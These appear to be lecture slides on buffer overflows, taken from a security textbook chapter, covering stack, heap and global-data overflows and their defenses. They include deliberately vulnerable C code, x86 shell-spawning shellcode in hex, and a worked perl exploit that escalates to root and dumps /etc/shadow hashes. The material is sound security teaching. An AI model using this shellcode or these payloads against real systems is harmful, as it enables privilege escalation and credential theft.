

# Computer Security: Principles and Practice

Fourth Edition

By: William Stallings and Lawrie Brown

# Chapter 10

## Buffer Overflow

# Table 10.1

## A Brief History of Some Buffer Overflow Attacks

<b>1988</b>	The Morris Internet Worm uses a buffer overflow exploit in "fingerd" as one of its attack mechanisms.
<b>1995</b>	A buffer overflow in NCSA httpd 1.3 was discovered and published on the Bugtraq mailing list by Thomas Lopatic.
<b>1996</b>	Aleph One published "Smashing the Stack for Fun and Profit" in <i>Phrack</i> magazine, giving a step by step introduction to exploiting stack-based buffer overflow vulnerabilities.
<b>2001</b>	The Code Red worm exploits a buffer overflow in Microsoft IIS 5.0.
<b>2003</b>	The Slammer worm exploits a buffer overflow in Microsoft SQL Server 2000.
<b>2004</b>	The Sasser worm exploits a buffer overflow in Microsoft Windows 2000/XP Local Security Authority Subsystem Service (LSASS).

# Buffer Overflow

- A very **common attack mechanism**
  - First widely used by the Morris Worm in 1988
- **Prevention techniques** known
- Still of **major concern**
  - **Legacy of buggy code** in widely deployed operating systems and applications
  - **Continued careless programming** practices by programmers

# Buffer Overflow


A buffer overflow, also known as a buffer overrun, is defined in the NIST *Glossary of Key Information Security Terms* as follows:

“A condition at an interface under which **more input** can be placed into a buffer or data holding area than the capacity allocated, **overwriting other information**. Attackers exploit such a condition to **crash a system** or to insert specially **crafted code** that allows them to **gain control** of the system.”

# Buffer Overflow Basics

- Programming error when a process attempts to **store data beyond the limits of a fixed-sized buffer**
- **Overwrites** adjacent memory locations
  - Locations could hold **other program variables, parameters, or program control flow data**
- Buffer could be located on the **stack**, in the **heap**, or in the **data section** of the process

## Consequences:

- 
- **Corruption** of program data
  - Unexpected **transfer** of control
  - Memory access **violations**
  - **Execution** of code chosen by attacker

```

int main(int argc, char *argv[]) {
    int valid = FALSE;
    char str1[8];
    char str2[8];

    next tag(str1);
    gets(str2);
    if (strncmp(str1, str2, 8) == 0)
        valid = TRUE;
    printf("buffer1: str1(%s), str2(%s), valid(%d)\n", str1, str2, valid);
}

```

### (a) Basic buffer overflow C code

```

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1)

```

### (b) Basic buffer overflow example runs

**Figure 10.1 Basic Buffer Overflow Example**

Memory Address	Before gets(str2)	After gets(str2)	Contains Value of
....	....	....	
bffffbf4	34fcffbf 4...	34fcffbf 3...	argv
bffffbf0	01000000 ....	01000000 ....	argc
bffffbec	c6bd0340 ...@	c6bd0340 ...@	return addr
bffffbe8	08fcffbf ....	08fcffbf ....	old base ptr
bffffbe4	00000000 ....	01000000 ....	valid
bffffbe0	80640140 .d.@	00640140 .d.@	
bffffbdc	54001540 T..@	4e505554 N P U T	str1[4-7]
bffffbd8	53544152 S T A R	42414449 B A D I	str1[0-3]
bffffbd4	00850408 ....	4e505554 N P U T	str2[4-7]
bffffbd0	30561540 0 V .@	42414449 B A D I	str2[0-3]
....	....	....	

**Figure 10.2 Basic Buffer Overflow Stack Values**



# Buffer Overflow Attacks


- To **exploit a buffer overflow** an attacker needs:
  - To **identify** a buffer overflow **vulnerability** in some program that can be triggered using externally sourced data under the attacker's control
  - To **understand how that buffer is stored** in memory and determine potential for corruption
- **Identifying** vulnerable programs can be done by:
  - **Inspection** of program source
  - **Tracing** the execution of programs as they process oversized input
  - Using tools such as fuzzing to automatically **identify** potentially vulnerable programs

# Programming Language History

- At the machine level data manipulated by machine instructions executed by the computer processor are stored in either the processor's **registers** or in **memory**
- **Assembly language** programmer is responsible for the correct interpretation of any saved data value

Modern high-level languages have a **strong notion of type and valid operations**

- **Not vulnerable** to buffer overflows
- Does **incur overhead**, **some limits** on use




**C and related languages** have high-level control structures, but allow **direct access to memory**


- Hence are **vulnerable** to buffer overflow
- Have a large legacy of widely used, unsafe, and hence **vulnerable code**

# Stack Buffer Overflows

- Occur when buffer is located on **stack**
  - Also referred to as **stack smashing**
  - Used by **Morris Worm**
  - Exploits included an **unchecked buffer overflow**
- Are still being widely **exploited**
- **Stack frame**
  - When one function calls another it needs somewhere to save the **return address**
  - Also needs locations to save the **parameters** to be passed in to the called function and to possibly save **register** values



**Figure 10.3 Example Stack Frame with Functions P and Q**



**Figure 10.4 Program Loading into Process Memory**

```

void hello(char *tag)
{
    char inp[16];

    printf("Enter value for %s: ", tag);
    gets(inp);
    printf("Hello your %s is %s\n", tag, inp);
}

```

**(a) Basic stack overflow C code**

```

$ cc -g -o buffer2 buffer2.c

$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done

$ ./buffer2
Enter value for name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)

$ perl -e 'print pack("H*", "414243444546474851525354555657586162636465666768
08fcffbf948304080a4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefghuyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)

```

**(b) Basic stack overflow example runs**

**Figure 10.5 Basic Stack Overflow Example**

Memory Address	Before gets(inp)	After gets(inp)	Contains Value of
....	....	....	
bffffbe0	3e850408 > ...	00850408 ....	tag
bffffbdc	f0830408 ....	94830408 ....	return addr
bffffbd8	e8fbffbf ....	e8ffffbf ....	old base ptr
bffffbd4	60840408 ' ...	65666768 e f g h	
bffffbd0	30561540 0 V . @	61626364 a b c d	
bffffbcc	1b840408 ....	55565758 U V W X	inp[12-15]
bffffbc8	e8fbffbf ....	51525354 Q R S T	inp[8-11]
bffffbc4	3cfcffbf < ...	45464748 E F G H	inp[4-7]
bffffbc0	34fcffbf 4 ...	41424344 A B C D	inp[0-3]
....	....	....	

**Figure 10.6 Basic Stack Overflow Stack Values**

# Figure 10.7

## Another Stack Overflow Example

```
void getinp(char *inp, int siz)
{
    puts("Input value: ");
    fgets(inp, siz, stdin);
    printf("buffer3 getinp read %s\n", inp);
}

void display(char *val)
{
    char tmp[16];
    sprintf(tmp, "read val: %s\n", val);
    puts(tmp);
}

int main(int argc, char *argv[])
{
    char buf[16];
    getinp(buf, sizeof(buf));
    display(buf);
    printf("buffer3 done\n");
}
```

(a) Another stack overflow C code

```
$ cc -o buffer3 buffer3.c

$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done

$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXXXXXXX

buffer3 done
Segmentation fault (core dumped)
```

(b) Another stack overflow example runs



# Table 10.2

## Some Common **Unsafe C** Standard Library Routines

<code>gets(char *str)</code>	read line from standard input into str
<code>sprintf(char *str, char *format, ...)</code>	create str according to supplied format and variables
<code>strcat(char *dest, char *src)</code>	append contents of string src to string dest
<code>strcpy(char *dest, char *src)</code>	copy contents of string src to string dest
<code>vsprintf(char *str, char *fmt, va_list ap)</code>	create str according to supplied format and variables

# Shellcode

- **Code** supplied by **attacker**
  - Often saved in **buffer being overflowed**
  - Traditionally **transferred control to** a user command-line interpreter (**shell**)
- **Machine code**
  - Specific to **processor and operating system**
  - Traditionally needed good **assembly language skills** to create
  - More recently a number of sites and **tools** have been developed that **automate this process**
- Metasploit Project
  - Provides useful information to people who perform **penetration**, **IDS signature development**, and **exploit research**

# Figure 10.8

## Example UNIX

## Shellcode

```
int main(int argc, char *argv[])
{
    char *sh;
    char *args[2];

    sh = "/bin/sh";
    args[0] = sh;
    args[1] = NULL;
    execve(sh, args, NULL);
}
```

(a) Desired shellcode code in C

```
    nop
    nop                // end of nop sled
    jmp  find          // jump to end of code
cont: pop  %esi        // pop address of sh off stack into %esi
    xor  %eax,%eax     // zero contents of EAX
    mov  %al,0x7(%esi) // copy zero byte to end of string sh (%esi)
    lea  (%esi),%ebx    // load address of sh (%esi) into %ebx
    mov  %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
    mov  %eax,0xc(%esi) // copy zero to args[1] (%esi+c)
    mov  $0xb,%al      // copy execve syscall number (11) to AL
    mov  %esi,%ebx     // copy address of sh (%esi) to %ebx
    lea  0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
    lea  0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
    int  $0x80         // software interrupt to execute syscall
find: call cont        // call cont which saves next address on stack
sh:  .string "/bin/sh " // string constant
args: .long 0          // space used for args array
     .long 0          // args[1] and also NULL for env array
```

(b) Equivalent position-independent x86 assembly code

```
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
```

(c) Hexadecimal values for compiled x86 machine code

# Table 10.3

## Some Common **x86 Assembly Language Instructions**

<b>MOV src, dest</b>	copy (move) value from src into dest
<b>LEA src, dest</b>	copy the address (load effective address) of src into dest
<b>ADD / SUB src, dest</b>	add / sub value in src from dest leaving result in dest
<b>AND / OR / XOR src, dest</b>	logical and / or / xor value in src with dest leaving result in dest
<b>CMP val1, val2</b>	compare val1 and val2, setting CPU flags as a result
<b>JMP / JZ / JNZ addr</b>	jump / if zero / if not zero to addr
<b>PUSH src</b>	push the value in src onto the stack
<b>POP dest</b>	pop the value on the top of the stack into dest
<b>CALL addr</b>	call function at addr
<b>LEAVE</b>	clean up stack frame before leaving function
<b>RET</b>	return from function
<b>INT num</b>	software interrupt to access operating system function
<b>NOP</b>	no operation or do nothing instruction

# Table 10.4

## Some **x86 Registers**

32 bit	16 bit	8 bit (high)	8 bit (low)	Use
%eax	%ax	%ah	%al	Accumulators used for arithmetical and I/O operations and execute interrupt calls
%ebx	%bx	%bh	%bl	Base registers used to access memory, pass system call arguments and return values
%ecx	%cx	%ch	%cl	Counter registers
%edx	%dx	%dh	%dl	Data registers used for arithmetic operations, interrupt calls and IO operations
%ebp				Base Pointer containing the address of the current stack frame
%eip				Instruction Pointer or Program Counter containing the address of the next instruction to be executed
%esi				Source Index register used as a pointer for string or array operations
%esp				Stack Pointer containing the address of the top of stack

```

$ dir -l buffer4
-rwsr-xr-x  1 root   knoppix   16571 Jul 17 10:49 buffer4

$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
"ffffff2f62696e2f7368202020202020" .
"20202020202020202038fcffbf0fbffbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'

$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...

```

**Figure 10.9 Example Stack Overflow Attack**

# Stack Overflow Variants

## Target program

can be:

A trusted **system utility**

Network **service daemon**

Commonly used **library code**

## Shellcode

functions

**Launch a remote shell** when connected to

**Create a reverse shell** that connects back to the hacker


Use local exploits that **establish a shell**

**Flush firewall rules** that currently block other attacks

**Break out of a chroot** (restricted execution) environment, **giving full access to the system**

# Buffer Overflow Defenses

- Buffer overflows are **widely exploited**





# Compile-Time Defenses: Programming Language

- Use a **modern high-level language**
  - **Not vulnerable** to buffer overflow attacks
  - Compiler enforces **range checks** and **permissible operations** on variables

## Disadvantages

- **Additional code** must be executed at run time to impose checks
- Flexibility and safety comes at a cost in **resource use**
- Distance from the underlying machine language and architecture means that **access to some instructions and hardware resources is lost**
- **Limits their usefulness in writing code**, such as device drivers, that must **interact with such resources**

# Compile-Time Defenses:

## Safe Coding Techniques

- **C designers** placed much more emphasis on **space efficiency and performance** considerations than on type safety
  - **Assumed** programmers would exercise due care in writing code
- Programmers need to **inspect the code** and **rewrite any unsafe coding**
  - An example of this is the OpenBSD project
- Programmers have **audited the existing code base**, including the operating system, standard libraries, and common utilities
  - This has resulted in what is widely regarded as one of the safest operating systems in widespread use

```

int copy_buf(char *to, int pos, char *from, int len)
{
    int i;

    for (i=0; i<len; i++) {
        to[pos] = from[i];
        pos++;
    }
    return pos;
}

```

**(a) Unsafe byte copy**

```

short read_chunk(FILE fil, char *to)
{
    short len;
    fread(&len, 2, 1, fil); ..... /* read length of binary data */
    fread(to, 1, len, fil); ..... /* read len bytes of binary data */
    return len;
}

```

**(b) Unsafe byte input**

**Figure 10.10 Examples of Unsafe C Code**

# Compile-Time Defenses:

## Language Extensions/Safe Libraries

- **Handling dynamically allocated memory** is more problematic because the size information is not available at compile time
  - Requires an **extension** and the use of **library routines**
    - Programs and libraries need to be **recompiled**
    - Likely to **have problems with third-party applications**
- Concern with C is **use of unsafe standard library routines**
  - One approach has been to **replace** these with safer variants
    - Libsafe is an example
    - Library is implemented as a **dynamic library** arranged to load before the existing standard libraries

# Compile-Time Defenses:

## Stack Protection

- Add **function entry and exit code** to check stack for signs of corruption
- Use **random canary**
  - Value needs to be **unpredictable**
  - Should be **different on different systems**
- **Stackshield** and **Return Address Defender** (RAD)
  - GCC extensions that include additional function entry and exit code
    - Function entry writes a copy of the return address to a **safe region** of memory
    - Function exit code **checks the return address** in the stack frame against the saved copy
    - If **change** is found, **aborts** the program

# Run-Time Defenses:

## Executable Address Space Protection

Use virtual memory support to make some regions of memory **non-executable**

- Requires support from **memory management unit (MMU)**
- **Long** existed on SPARC / Solaris systems
- **Recent** on x86 Linux/Unix/Windows systems

Issues

- Support for **executable stack code**
- **Special provisions** are needed

# Run-Time Defenses:

## Address Space Randomization

- **Manipulate location** of key data structures
  - **Stack, heap, global data**
  - Using **random shift** for each process
  - **Large address range** on modern systems means wasting some has negligible impact
- **Randomize location** of heap buffers
- **Random location** of standard library functions

# Run-Time Defenses:

## Guard Pages

- Place guard pages between critical regions of memory
  - Flagged in MMU as illegal addresses
  - Any attempted access aborts process
- Further extension places guard pages Between stack frames and heap buffers
  - Cost in execution time to support the large number of page mappings necessary



# Replacement Stack Frame

## Variant that overwrites buffer and saved frame pointer address

- Saved frame pointer value is changed to refer to a dummy stack frame
- Current function returns to the replacement dummy frame
- Control is transferred to the shellcode in the overwritten buffer

## Off-by-one attacks

- Coding error that allows one more byte to be copied than there is space available

## Defenses

- Any stack protection mechanisms to detect modifications to the stack frame or return address by function exit code
- Use non-executable stacks
- Randomization of the stack in memory and of system libraries

# Return to System Call

- Defenses

- Any stack protection mechanisms to detect modifications to the stack frame or return address by **function exit code**
- Use **non-executable** stacks
- **Randomization** of the stack in memory and of system libraries

- Stack overflow variant replaces return address with **standard library function**
  - Response to **non-executable stack** defenses
  - Attacker constructs **suitable parameters** on stack above return address
  - Function returns and **library function executes**
  - Attacker may **need exact buffer address**
  - Can even **chain two library calls**

# Heap Overflow

- Attack buffer located in **heap**
  - Typically located **above program code**
  - Memory is requested by programs to use in **dynamic data structures** (such as linked lists of records)
- **No return address**
  - Hence **no easy transfer of control**
  - May have **function pointers** can exploit
  - Or **manipulate management data structures**

## Defenses

- Making the heap **non-executable**
- **Randomizing** the allocation of memory on the heap

### (a) Vulnerable heap overflow C code

```
$ attack2 | buffer5
Enter value:
root
root:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIML$/yVHPQuw5kvIUfJs3b9aj/:13347:0:99999:7:::
...
```

### Figure 10.11 Example Heap Overflow Attack

# Global Data Overflow

- Defenses

- Non executable or random global data region
- Move function pointers
- Guard pages

- Can attack buffer located in global data
  - May be located above program code
  - If has function pointer and vulnerable buffer
  - Or adjacent process management tables
  - Aim to overwrite function pointer later called



# Summary

- Stack overflows
  - Buffer overflow basics
  - Stack buffer overflows
  - Shellcode
- Defending against buffer overflows
  - Compile-time defenses
  - Run-time defenses
- Other forms of overflow attacks
  - Replacement stack frame
  - Return to system call
  - Heap overflows
  - Global data area overflows
  - Other types of overflows

# 作业

- 英文教材（第四版）P377-378
- Questions 10.2, 10.12
- Problems 10.2, 10.5, 10.10